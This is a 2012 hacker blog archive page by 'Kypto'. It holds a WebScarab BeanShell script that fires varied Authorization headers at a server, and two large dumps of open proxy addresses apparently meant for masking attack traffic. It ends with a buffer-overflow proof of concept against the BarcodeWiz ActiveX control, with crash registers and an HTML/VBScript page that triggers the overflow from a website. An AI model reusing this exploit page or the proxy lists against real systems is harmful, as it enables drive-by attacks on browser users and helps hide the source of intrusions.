Kypto: August 2012

Monday 13 August 2012

WebScape BeanShell

mport org.owasp.webscarab.model.ConversationID;
import org.owasp.webscarab.model.HttpUrl;
import org.owasp.webscarab.model.Request;
import org.owasp.webscarab.model.Response;
// define subroutines BEFORE the main part of the script executes,
// otherwise they won't be found
// call this to fetch the requests one after another
void fetchSequentially() {
while (hasMoreRequests()) {
request = getNextRequest();
response = scripted.fetchResponse(request);
out.println("Conversation " + scripted.addConversation(response));
}
}
// call this to fetch them in parallel
// the number of simultaneous connections is controlled by the Scripting plugin
// It is currently fixed at 4 simultaneous requests
void fetchParallel() {
while (hasMoreRequests() || scripted.isAsyncBusy()) {
while (scripted.hasAsyncCapacity() && hasMoreRequests()) {
scripted.submitAsyncRequest(getNextRequest());
}
if (scripted.hasAsyncResponse()) {
while (scripted.hasAsyncResponse()) {
response = scripted.getAsyncResponse();
request = response.getRequest();
out.println("Conversation " + scripted.addConversation(response));
}
} else Thread.sleep(100);
}
}
/******************************************************************************
***************** USER EDITABLE SCRIPT STARTS HERE ***************************
* *
* Of course, you can modify the bits above, but you shouldn't need *
* to, if you follow the algorithm suggested below. *
* *
******************************************************************************/
// modify this routine to determine when we are finished
boolean hasMoreRequests() {
return i<10;
}
// modify this routine to construct the next request
Request getNextRequest() {
// create a new request copied from the template
Request request = new Request(template);
// now customise it
request.setHeader("Authorization", "Basic whatever " + i++);
return request;
}
// Do some initialisation here
// create a template that contains the basics
Request template = new Request();
template.setMethod("GET");
template.setURL(new HttpUrl("http://localhost:8080/"));
template.setVersion("HTTP/1.0");
template.setHeader("User-Agent","WebScarab");
// a counter, so we can know when to stop
int i=0;
// Choose how to submit the requests, sequentially, or in parallel
// fetchSequential();
fetchParallel();
##################
### Kypto 2012 ###
#######################
# twitter.com/ddos101 #
#######################

Huge Proxy Dump

71.86.150.78:9090
208.123.128.35:80
24.44.219.167:9090
203.86.31.92:3128
98.240.186.255:9090
74.206.98.202:8080
173.20.124.252:80
41.222.160.36:80
74.115.6.57:80
69.118.237.19:9090
201.68.8.180:80
92.233.226.34:9090
210.253.208.91:80
76.112.150.1:9090
221.130.13.211:80
88.104.209.63:9090
80.195.248.30:9090
58.248.46.69:8080
221.130.162.248:80
193.68.154.194:80
75.184.41.3:9090
121.246.72.97:80
64.203.35.90:80
95.215.2.33:3128
201.245.161.4:8080
201.13.169.167:6588
98.192.95.181:9090
95.46.120.87:3128
82.131.192.212:80
76.116.82.97:9090
121.58.96.10:80
211.138.124.196:80
94.89.80.218:3128
61.183.55.40:80
24.230.163.136:9090
24.254.34.183:9090
72.240.34.18:80
190.152.37.58:6588
173.45.229.206:9090
62.233.138.180:80
148.245.191.3:80
201.41.184.154:3128
72.24.212.232:9090
201.1.63.111:6588
112.215.23.83:80
64.179.170.189:9090
70.161.20.242:9090
201.91.17.45:80
202.143.129.200:8080
213.35.216.222:80
24.98.204.26:9090
121.241.49.56:80
216.80.118.13:9090
90.27.194.90:8080
194.215.205.223:80
24.12.3.143:9090
82.33.67.71:9090
114.80.67.252:80
118.98.215.22:80
118.97.29.14:80
16.225.151.192:8088
202.145.3.52:80
118.98.170.109:80
221.130.13.228:80
61.238.104.200:808
58.241.134.17:80
221.130.162.245:80
59.37.166.56:3128
67.168.222.227:9090
217.196.164.34:3128
97.85.152.126:9090
200.187.136.122:6588
201.40.246.186:3128
118.96.121.70:3128
75.81.22.134:9090
200.207.79.146:80
189.47.200.65:80
72.190.122.130:9090
220.128.122.187:80
82.21.184.178:9090
190.53.89.103:6588
195.70.55.151:80
201.1.113.10:6588
222.124.173.77:80
70.76.83.81:9090
120.118.254.200:80
221.130.13.225:80
201.68.227.8:6588
86.11.208.239:9090
24.154.129.8:9090
208.43.64.239:80
82.154.126.143:6588
201.26.133.204:8080
221.7.145.42:80
206.53.252.104:80
84.252.63.251:3128
86.0.224.116:9090
85.25.139.53:80
187.0.191.75:8080
213.73.40.105:3124
59.120.183.85:80
193.136.113.38:443
82.234.51.250:9090
68.62.176.8:9090
24.67.14.108:9090
24.174.246.62:9090
221.130.13.37:80
201.80.207.132:6588
202.143.155.44:80
92.237.9.240:9090
81.101.146.0:9090
59.108.44.41:3128
82.33.46.103:9090
76.112.25.186:9090
95.170.219.203:80
201.14.225.222:6588
200.24.227.170:3128
189.23.208.37:6588
222.124.178.98:80
76.110.138.122:9090
121.8.98.90:8888
61.155.220.244:80
24.23.29.41:8080
68.105.0.173:9090
80.4.60.88:9090
41.221.130.32:80
71.85.121.118:9090
207.181.207.36:9090
92.55.34.157:3128
68.11.182.166:9090
189.11.67.18:3128
218.75.23.110:3128
216.218.211.57:80
93.174.138.218:80
118.175.22.69:80
209.4.229.126:80
98.165.245.250:9090
82.46.144.165:9090
174.142.104.57:80
221.224.206.86:80
82.41.57.26:9090
173.25.16.169:80
200.171.17.23:6588
201.53.73.44:6588
82.6.69.14:9090
85.24.89.199:6588
128.233.252.11:80
69.136.58.38:9090
201.13.176.9:6588
210.5.71.130:8080
86.12.7.19:9090
24.70.39.70:9090
208.98.17.40:4589
221.194.130.20:80
115.113.60.82:8080
200.96.49.4:80
123.131.44.66:8088
201.15.143.25:6588
190.202.87.1:3128
200.171.232.140:6588
70.125.110.220:9090
118.175.5.28:80
41.222.160.52:80
68.117.211.122:9090
195.135.236.204:3128
74.15.86.86:9090
81.96.127.75:9090
64.4.82.195:3128
96.28.160.240:9090
174.50.56.115:80
147.83.30.164:3124
88.191.77.53:3128
76.105.105.96:9090
190.94.1.195:80
91.121.88.205:80
82.45.117.238:9090
68.201.24.46:9090
200.109.72.53:6588
200.143.2.94:80
98.202.107.151:9090
83.36.162.217:9090
75.94.80.132:9090
72.236.167.137:80
200.207.79.146:3128
70.64.225.85:9090
85.122.26.75:80
200.120.224.207:6588
211.138.124.198:80
76.102.95.54:9090
86.46.156.172:9090
24.8.191.246:9090
71.205.37.198:9090
61.153.140.106:808
202.152.59.235:80
64.4.82.195:80
196.218.176.131:80
209.159.204.250:9090
222.73.27.232:80
92.118.181.151:80
203.124.21.224:6588
68.198.72.147:9090
24.208.37.143:9090
88.183.152.141:1101
210.34.14.166:81
222.165.133.198:80
80.192.75.52:9090
24.189.5.235:9090
121.242.41.67:80
189.80.71.87:3128
67.205.89.91:80
200.3.252.170:3128
98.216.200.160:80
65.49.170.85:3128
80.93.86.11:80
91.121.84.164:80
59.94.41.39:6588
85.168.233.221:9090
61.17.209.26:80
68.11.249.230:9090
71.205.102.196:9090
186.56.68.6:8080
59.90.74.11:3128
69.127.115.255:9090
202.155.152.198:80
98.167.178.180:80
59.124.156.190:80
211.138.124.199:80
200.14.96.57:80
82.44.34.27:9090
196.200.80.4:8080
83.14.17.99:8080
76.110.211.162:9090
98.222.69.31:80
60.250.68.155:3128
68.199.107.24:9090
122.6.245.14:8090
200.96.53.3:80
98.163.204.145:9090
202.159.90.163:80
76.247.168.177:9090
221.130.13.232:80
68.113.102.37:9090
116.68.154.86:8080
186.3.6.22:80
218.14.227.197:80
218.75.76.74:8088
201.218.44.147:3128
41.234.203.249:80
82.12.101.34:9090
61.19.50.9:3128
187.5.156.16:80
200.96.53.6:80
68.11.237.184:9090
150.140.172.9:3128
221.130.13.212:80
69.71.95.69:9090
66.25.114.65:9090
216.178.164.252:80
200.48.170.221:3128
69.138.46.194:9090
209.159.241.112:9090
65.30.216.140:9090
93.62.167.138:80
80.193.189.226:9090
217.10.246.2:8080
24.59.34.24:9090
70.186.174.186:9090
68.114.1.159:80
89.189.85.106:80
69.136.136.125:9090
69.113.232.218:9090
118.96.110.41:80
61.7.231.199:8080
41.221.146.22:8080
189.55.219.176:6588
200.78.224.77:80
71.192.234.31:9090
209.145.114.173:9090
65.28.107.26:9090
68.205.170.214:9090
83.238.44.4:80
201.75.78.76:6588
75.65.64.163:9090
67.191.141.209:9090
71.204.48.253:80
122.107.124.56:9090
24.211.49.0:9090
75.66.108.187:80
68.111.231.178:9090
24.233.72.236:8080
65.75.189.33:9090
41.207.117.92:80
119.6.253.31:8000
195.98.48.202:80
66.214.17.189:9090
190.210.46.205:3128
82.38.36.40:9090
67.159.178.199:8080
190.49.52.137:80
219.172.4.34:80
221.130.7.228:80
200.101.13.202:6588
123.127.240.124:80
82.36.86.70:9090
24.109.249.17:80
221.130.13.199:80
69.46.16.232:3431
61.6.163.35:80
121.246.72.205:80
174.142.124.113:80
193.198.184.5:80
99.178.175.32:80
174.142.24.201:3128
96.21.139.56:9090
207.38.251.111:9090
62.233.138.180:3128
41.222.160.40:80
200.119.56.48:6588
82.43.58.68:9090
216.30.167.133:80
24.190.104.34:9090
208.180.52.254:80
66.190.213.42:80
222.161.3.146:80
202.72.220.242:80
122.205.95.14:80
72.9.148.165:3128
68.84.47.147:9090
98.28.33.20:9090
24.254.113.238:9090
189.113.105.254:80
62.244.28.178:80
190.81.177.26:8080
24.23.199.14:9090
216.119.183.110:9090
211.102.90.59:80
210.69.54.179:80
190.228.70.4:80
80.216.254.79:80
61.54.82.130:808
189.123.83.75:80
118.175.3.242:3128
201.85.51.82:80
218.248.20.160:6588
74.63.201.147:80
89.189.85.5:80
24.188.125.225:9090
82.33.117.189:9090
210.96.19.8:8080
92.52.125.20:80
59.92.3.208:6588
87.120.58.65:80
122.170.9.82:8080
210.22.107.245:3128
24.185.121.80:9090
24.205.202.45:9090
201.0.145.8:80
87.106.109.53:3128
92.238.25.211:9090
71.239.24.140:80
96.31.93.111:80
92.236.16.51:9090
67.188.156.177:9090
203.178.133.002:3127
210.245.85.219:80
202.98.141.200:808
80.91.181.41:8080
189.3.50.34:80
71.229.16.100:9090
211.138.124.233:80
212.165.142.178:80
189.44.54.76:80
68.229.158.96:9090
187.16.242.51:80
201.68.18.124:6588
110.137.77.38:80
68.60.168.230:9090
88.171.218.44:9090
76.28.1.186:9090
115.31.64.12:8008
24.2.69.26:9090
61.19.114.10:3128
88.165.169.130:9090
221.130.13.206:80
75.87.189.110:9090
221.1.223.10:808
70.180.206.70:9090
94.23.29.16:80
82.206.129.160:3128
24.118.147.89:9090
222.73.205.27:808
221.130.13.207:80
207.50.148.37:9090
124.42.10.119:80
82.45.253.25:9090
146.57.249.98:3128
97.87.65.118:9090
82.28.185.247:9090
82.22.138.43:9090
130.63.177.192:8080
77.101.103.91:9090
67.9.20.215:9090
193.69.186.83:80
68.97.121.200:9090
92.238.40.83:9090
201.24.125.218:6588
62.135.113.231:80
209.124.242.193:9090
86.42.180.157:9090
209.218.218.171:9090
80.192.214.147:9090
75.83.57.219:9090
61.155.106.14:80
216.214.134.2:80
71.89.55.232:9090
201.93.128.110:6588
89.187.132.52:80
202.125.141.67:80
91.198.227.33:80
207.161.20.188:9090
95.46.120.143:3128
12.240.37.195:9090
222.161.3.133:80
70.238.144.197:9090
77.99.162.166:9090
219.93.178.162:3128
69.120.98.84:80
77.103.130.91:9090
91.78.100.114:3839
24.137.215.227:9090
128.252.19.18:3128
64.30.123.252:9090
189.108.142.5:8080
98.211.183.121:80
201.6.119.118:80
89.241.213.95:9090
77.97.103.232:9090
210.239.162.102:80
12.208.168.97:9090
211.161.79.165:80
94.136.55.208:80
98.223.204.15:9090
116.66.206.25:80
125.162.38.175:8080
72.55.191.6:3128
96.42.86.207:80
66.229.205.251:9090
118.175.14.108:80
86.4.25.128:9090
75.87.150.14:9090
91.188.161.235:3128
88.113.14.234:3128
69.127.102.247:9090
82.12.118.67:9090
71.205.113.223:9090
125.163.255.154:8080
76.173.155.23:9090
85.236.142.82:80
82.37.169.145:9090
76.89.23.238:9090
24.12.214.237:9090
62.142.86.100:443
86.12.57.51:9090
210.57.209.130:80
210.176.171.236:80
200.91.248.82:80
71.224.107.188:9090
189.77.28.76:80
99.199.237.158:9090
62.119.28.242:80
68.104.55.221:9090
82.35.201.216:9090
82.41.10.6:9090
98.208.46.176:9090
217.10.246.4:80
200.30.101.2:80
204.8.65.218:80
200.158.26.223:6588
67.9.255.2:9090
61.144.109.96:8080
211.140.151.214:8080
211.72.110.188:3128
99.232.137.243:9090
76.107.208.13:9090
69.246.117.136:9090
98.214.238.149:80
72.192.201.223:80
212.85.154.247:80
92.236.102.208:9090
203.212.6.20:80
121.14.158.75:80
119.225.109.37:80
85.134.160.128:9090
89.37.120.90:80
118.129.154.34:80
82.40.215.66:9090
71.200.233.55:9090
200.166.248.132:80
74.197.219.75:9090
210.43.128.18:3128
71.63.200.164:80
68.55.225.102:9090
219.133.4.99:80
80.4.59.69:9090
208.79.90.79:80
91.121.88.205:3128
95.170.184.141:3128
208.200.248.15:80
95.46.120.174:3128
93.81.249.154:3128
200.171.175.157:6588
76.115.37.7:9090
89.189.84.255:80
96.3.172.29:9090
94.73.203.233:80
99.155.153.203:9090
209.107.217.164:80
201.68.77.129:6588
82.208.87.232:3128
213.158.112.202:8080
119.70.40.101:80
202.71.98.201:3128
190.139.49.20:8090
203.190.10.132:80
86.21.200.186:9090
119.70.40.102:8080
114.32.3.160:3128
124.193.97.60:3128
157.88.21.21:80
201.255.178.224:6588
210.212.209.82:80
218.201.21.175:80
91.203.136.191:80
24.217.194.73:9090
200.192.97.226:80
82.40.48.179:9090
78.90.50.92:3128
200.158.102.61:80
82.45.59.203:9090
70.176.119.94:9090
24.188.251.54:9090
71.205.109.70:9090
24.14.112.139:9090
221.130.13.38:80
222.66.116.108:8080
71.205.238.140:9090
68.198.151.89:9090
189.19.10.23:6588
87.120.67.39:6588
24.108.35.246:7212
221.130.162.249:80
221.214.208.17:80
60.250.172.98:8080
82.13.85.245:9090
69.180.245.32:9090
76.173.95.124:9090
118.103.170.27:80
62.193.246.10:6654
189.3.176.130:6588
82.3.162.235:9090
77.96.143.223:9090
220.178.47.253:8080
110.138.207.185:80
189.111.166.103:6588
89.189.85.143:80
76.83.104.147:80
91.121.95.149:80
201.246.116.96:6588
68.144.70.254:9090
72.197.212.200:7212
78.224.128.22:80
202.155.21.18:80
193.116.157.195:80
91.110.151.89:9090
66.199.247.42:6649
221.130.13.39:80
80.193.72.145:80
72.196.135.11:9090
72.227.236.241:9090
200.252.201.144:80
206.174.3.131:9090
24.61.35.204:80
82.0.100.211:9090
121.31.126.93:80
221.214.27.253:80
142.150.238.13:80
222.76.210.8:8080
76.107.108.144:9090
85.8.21.151:3128
83.85.27.225:9090
173.22.121.1:80
69.246.45.182:9090
201.15.30.1:6588
77.99.113.100:9090
211.139.70.86:80
81.97.147.154:9090
207.44.255.171:80
98.141.23.139:9090
207.44.255.163:80
200.102.217.207:6588
201.25.53.18:80
200.35.37.63:80
207.44.255.169:80
219.139.158.59:80
70.180.62.153:9090
200.48.13.42:80
201.225.226.68:80
94.73.63.51:80
174.143.220.135:80
202.83.163.94:80
125.40.59.193:8080
69.180.8.201:9090
59.108.44.41:80
218.248.4.100:80
62.168.173.33:3128
99.237.129.44:9090
208.75.86.155:80
24.9.22.230:9090
72.240.34.13:80
58.83.197.27:8080
140.113.156.245:3128
86.10.109.253:9090
189.72.171.250:80
72.240.34.23:80
216.37.33.195:8080
90.188.254.197:3128
71.90.230.116:9090
128.208.4.199:3124
201.91.184.109:80
76.27.54.31:9090
218.201.21.158:80
202.143.140.250:80
89.189.85.120:80
24.4.239.144:9090
119.62.128.38:80
174.0.50.242:9090
71.194.0.41:9090
66.57.1.142:9090
201.86.70.162:80
125.34.30.201:8080
84.14.229.122:3128
86.22.7.232:9090
88.172.20.212:1103
200.101.83.130:3128
209.159.184.219:9090
189.29.117.58:6588
85.114.31.238:80
41.207.115.204:80
208.178.94.93:80
66.63.165.7:3128
84.16.235.120:3128
70.127.205.107:9090
58.246.76.76:8080
68.13.220.63:9090
218.97.194.94:80
71.207.56.148:9090
190.203.34.86:8080
80.74.110.149:80
142.150.238.12:80
67.182.204.248:9090
86.15.193.138:9090
71.80.99.54:7212
62.168.174.254:3128
221.0.181.203:3128
208.107.124.142:9090
202.152.51.147:80
68.228.236.251:9090
189.20.207.150:8080
222.124.173.220:80

320 Proxy's

69.181.89.167:9090
80.91.121.146:80
70.177.53.179:9090
69.71.85.202:9090
92.236.222.129:9090
98.169.171.231:9090
173.23.238.143:80
93.157.153.26:80
74.131.139.186:9090
208.180.65.242:8080
200.21.24.79:6588
209.145.101.201:3128
74.115.6.56:80
66.253.168.169:9090
61.187.187.28:80
69.246.61.14:9090
71.8.98.36:9090
202.44.12.72:80
201.17.188.5:6588
76.28.250.36:9090
82.47.59.57:9090
24.30.90.20:9090
66.42.182.178:80
194.44.191.51:80
82.76.59.131:80
208.180.60.126:8080
200.226.251.217:80
77.101.103.239:9090
64.151.79.246:80
174.103.239.188:80
75.130.185.215:80
201.218.0.100:80
218.56.64.2:80
128.233.252.12:80
87.250.47.219:8080
125.40.47.112:80
125.160.73.200:8080
95.104.116.82:8080
221.130.162.247:80
90.199.136.7:9090
117.102.113.86:80
201.12.130.129:80
69.161.78.160:9090
201.15.218.158:6588
81.98.109.201:9090
65.30.92.48:9090
60.253.114.26:80
78.162.45.2:8080
173.28.134.209:80
89.189.85.71:80
24.230.182.225:9090
189.113.97.249:80
92.236.18.113:9090
87.98.142.153:3128
98.210.139.101:9090
24.156.135.87:9090
98.252.155.204:80
67.81.235.37:9090
98.206.20.88:9090
200.195.137.166:8080
222.124.251.151:80
98.244.161.239:9090
82.24.15.141:9090
85.173.204.73:80
76.28.208.70:9090
201.253.144.1:8080
69.125.74.51:80
69.114.237.205:9090
77.99.11.82:9090
194.36.10.156:80
200.112.84.5:6588
74.77.117.65:9090
41.154.7.52:8080
92.234.144.16:9090
118.103.180.14:80
69.245.52.76:9090
89.222.216.101:80
201.13.187.229:6588
68.10.87.155:9090
82.33.168.194:9090
118.98.210.154:80
213.135.228.184:8080
77.96.105.84:9090
222.124.130.170:80
68.45.42.160:9090
201.88.248.243:6588
208.53.199.75:9090
189.30.9.98:8080
116.6.76.149:80
59.120.244.23:80
24.13.108.167:9090
128.112.139.25:3128
142.59.90.148:9090
202.194.133.31:808
194.117.157.72:1672
200.177.228.4:80
68.105.12.164:9090
208.53.199.48:9090
68.59.213.138:80
80.37.234.160:8080
148.244.96.178:80
203.178.133.2:3124
194.1.130.100:3128
97.91.188.113:9090
65.28.8.13:9090
41.222.160.38:80
157.182.52.224:9090
116.48.224.179:9090
210.245.63.218:80
61.155.220.243:80
76.113.8.160:9090
95.170.219.199:80
128.208.4.199:3127
70.186.168.130:9090
122.183.223.54:80
200.141.202.162:8080
212.17.86.109:8080
59.95.205.216:6588
68.84.126.225:9090
72.178.248.236:9090
149.169.227.129:3127
69.242.176.42:9090
150.188.31.2:3128
80.91.121.224:80
82.46.169.181:9090
212.68.36.179:3128
82.24.250.31:9090
187.52.200.66:8080
67.82.88.120:80
72.9.148.165:80
89.31.6.24:8080
110.137.123.89:80
193.68.154.193:80
67.49.150.210:9090
187.11.250.36:6588
61.222.223.170:80
68.59.217.62:9090
222.73.27.232:8080
123.231.241.11:80
200.101.83.131:80
71.197.189.88:9090
68.53.97.18:80
118.96.150.106:80
87.116.164.85:6588
82.41.21.126:9090
68.9.242.26:9090
92.233.166.55:9090
218.210.63.162:3128
59.37.17.36:3128
82.45.110.245:9090
203.199.50.19:80
41.234.204.135:80
72.240.34.10:80
91.121.29.196:80
202.43.183.44:80
72.141.35.81:9090
98.181.60.131:9090
98.155.147.62:9090
69.123.44.118:9090
217.10.246.4:8080
221.214.208.6:80
96.31.93.111:3128
163.30.32.90:80
200.123.147.57:80
67.191.220.137:9090
216.228.57.247:9090
66.167.228.62:9090
201.76.29.82:6588
200.161.31.11:6588
59.127.21.207:80
211.138.124.232:80
173.27.202.157:80
221.130.162.244:80
71.10.72.221:9090
200.93.238.170:80
81.101.145.245:9090
24.61.52.46:9090
118.96.132.133:8080
189.113.102.190:80
155.98.35.7:3127
202.2.96.5:8080
99.242.140.117:9090
202.152.59.139:3128
200.104.104.91:6588
129.93.193.140:9090
68.62.21.151:80
110.138.207.138:80
187.5.156.4:80
88.174.252.233:1101
210.212.211.11:80
89.250.85.42:80
68.118.245.35:9090
82.239.187.75:2157
202.99.21.162:80
221.130.13.204:80
77.99.30.244:9090
93.186.167.11:80
188.132.162.2:80
72.227.36.24:9090
174.142.24.201:80
98.252.141.107:80
24.22.86.147:9090
218.252.37.227:808
94.25.81.37:3128
200.112.70.53:6588
71.14.95.198:9090
67.84.115.34:9090
84.198.202.74:9090
24.14.107.77:9090
124.207.168.48:808
68.83.79.35:3128
142.59.52.201:9090
76.107.151.18:9090
92.236.26.72:9090
61.79.87.93:3128
221.130.13.210:80
70.172.242.76:9090
75.125.244.130:80
84.20.81.196:8080
24.188.121.167:9090
221.130.7.226:80
194.117.157.72:1125
200.143.204.3:80
67.87.64.23:9090
201.59.184.124:6588
24.83.40.206:9090
201.39.92.130:8080
200.30.101.20:80
189.122.171.234:6588
92.239.120.214:9090
203.199.50.19:8080
68.102.90.174:2301
95.130.11.113:80
195.149.136.53:80
58.246.76.76:80
221.130.13.208:80
68.11.145.150:9090
150.188.31.2:80
71.239.237.162:80
200.189.220.32:80
200.30.101.9:80
82.41.5.12:9090
218.206.194.247:8800
220.194.55.244:80
219.32.120.66:80
71.82.77.13:9090
202.82.119.17:80
118.97.56.18:80
221.130.13.233:80
201.10.42.166:6588
189.26.125.162:80
69.246.123.26:9090
203.110.240.22:80
24.10.84.226:9090
69.246.218.125:9090
75.93.212.146:9090
195.37.16.101:3127
201.45.188.169:6588
208.53.196.161:9090
82.41.198.251:9090
200.25.200.178:8080
71.205.238.236:9090
83.12.51.3:80
202.143.173.20:80
116.74.96.147:80
66.177.219.202:9090
89.207.233.9:1808
190.144.127.202:80
118.98.212.43:8080
80.81.159.20:8080
75.85.136.141:9090
123.127.163.27:80
82.43.63.99:9090
71.86.150.78:9090
208.123.128.35:80
24.44.219.167:9090
203.86.31.92:3128
98.240.186.255:9090
74.206.98.202:8080
173.20.124.252:80
41.222.160.36:80
74.115.6.57:80
69.118.237.19:9090
201.68.8.180:80
92.233.226.34:9090
210.253.208.91:80
76.112.150.1:9090
221.130.13.211:80
88.104.209.63:9090
80.195.248.30:9090
58.248.46.69:8080
221.130.162.248:80
193.68.154.194:80
75.184.41.3:9090
121.246.72.97:80
64.203.35.90:80
95.215.2.33:3128
201.245.161.4:8080
201.13.169.167:6588
98.192.95.181:9090
95.46.120.87:3128
82.131.192.212:80
76.116.82.97:9090
121.58.96.10:80
211.138.124.196:80
94.89.80.218:3128
61.183.55.40:80
24.230.163.136:9090
24.254.34.183:9090
72.240.34.18:80
190.152.37.58:6588
173.45.229.206:9090
62.233.138.180:80
148.245.191.3:80
201.41.184.154:3128
72.24.212.232:9090
201.1.63.111:6588
112.215.23.83:80
64.179.170.189:9090
70.161.20.242:9090

BarcodeWiz.dll remote Buffer Overflow PoC

Exploit Title: BarcodeWiz.dll remote Buffer Overflow PoC
Date: July 25, 2012
Author: Kypto
Kypto@programmer.net
Https://twitter.com/ddos101
Version: 4.0.0.0
Tested on: windows 7 SP2
==========================================================================
Class BarCodeWiz
GUID: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
Number of Interfaces: 1
Default Interface: IWiz
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
--------------------------------------------------------------------------
Registers:
--------------------------------------------------------------------------
EIP 023F8D42
EAX 00000021
EBX 00000ADD
ECX 025A2F58 -> 02439F8C
EDX 00000001
EDI 0046D48C -> 00000068
ESI 025A2F58 -> 02439F8C
EBP 0046D47C -> 0046E48C
ESP 0046D464 -> 025A0AA8
Block Disassembly:
----------------------------------------------------------------------------
23F8D33 INC EBX
23F8D34 MOV [EBP+8],ECX
23F8D37 PUSH ECX
23F8D38 PUSH DWORD PTR [EBP-8]
23F8D3B MOV ECX,ESI
23F8D3D CALL 023F837E
23F8D42 MOV [EDI+EBX*4],EAX <--- CRASH
23F8D45 INC EBX
23F8D46 DEC DWORD PTR [EBP-4]
23F8D49 MOV EAX,[EBP-4]
23F8D4C CMP EAX,[EBP-C]
23F8D4F JL 023F8C80
23F8D55 JMP 023F8ECE
23F8D5A MOV EAX,[ESI]
23F8D5C PUSH EBX
ArgDump:
--------------------------------------------------
EBP+8 00000006
EBP+12 025A2F58 -> 02439F8C
EBP+16 00000068
EBP+20 00000021
EBP+24 00000021
EBP+28 00000021
============================================================================
<html>
Exploit
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='poc' /></object>
<script language='vbscript'>
targetFile = "C:\Program Files (x86)\BarCodeWiz ActiveX Trial\DLL\BarcodeWiz.dll"
prototype = "Property Let Barcode As String"
memberName = "Barcode"
progid = "BARCODEWIZLib.BarCodeWiz"
argCount = 1
arg1=String(14356, "A")
poc.Barcode = arg1
</script>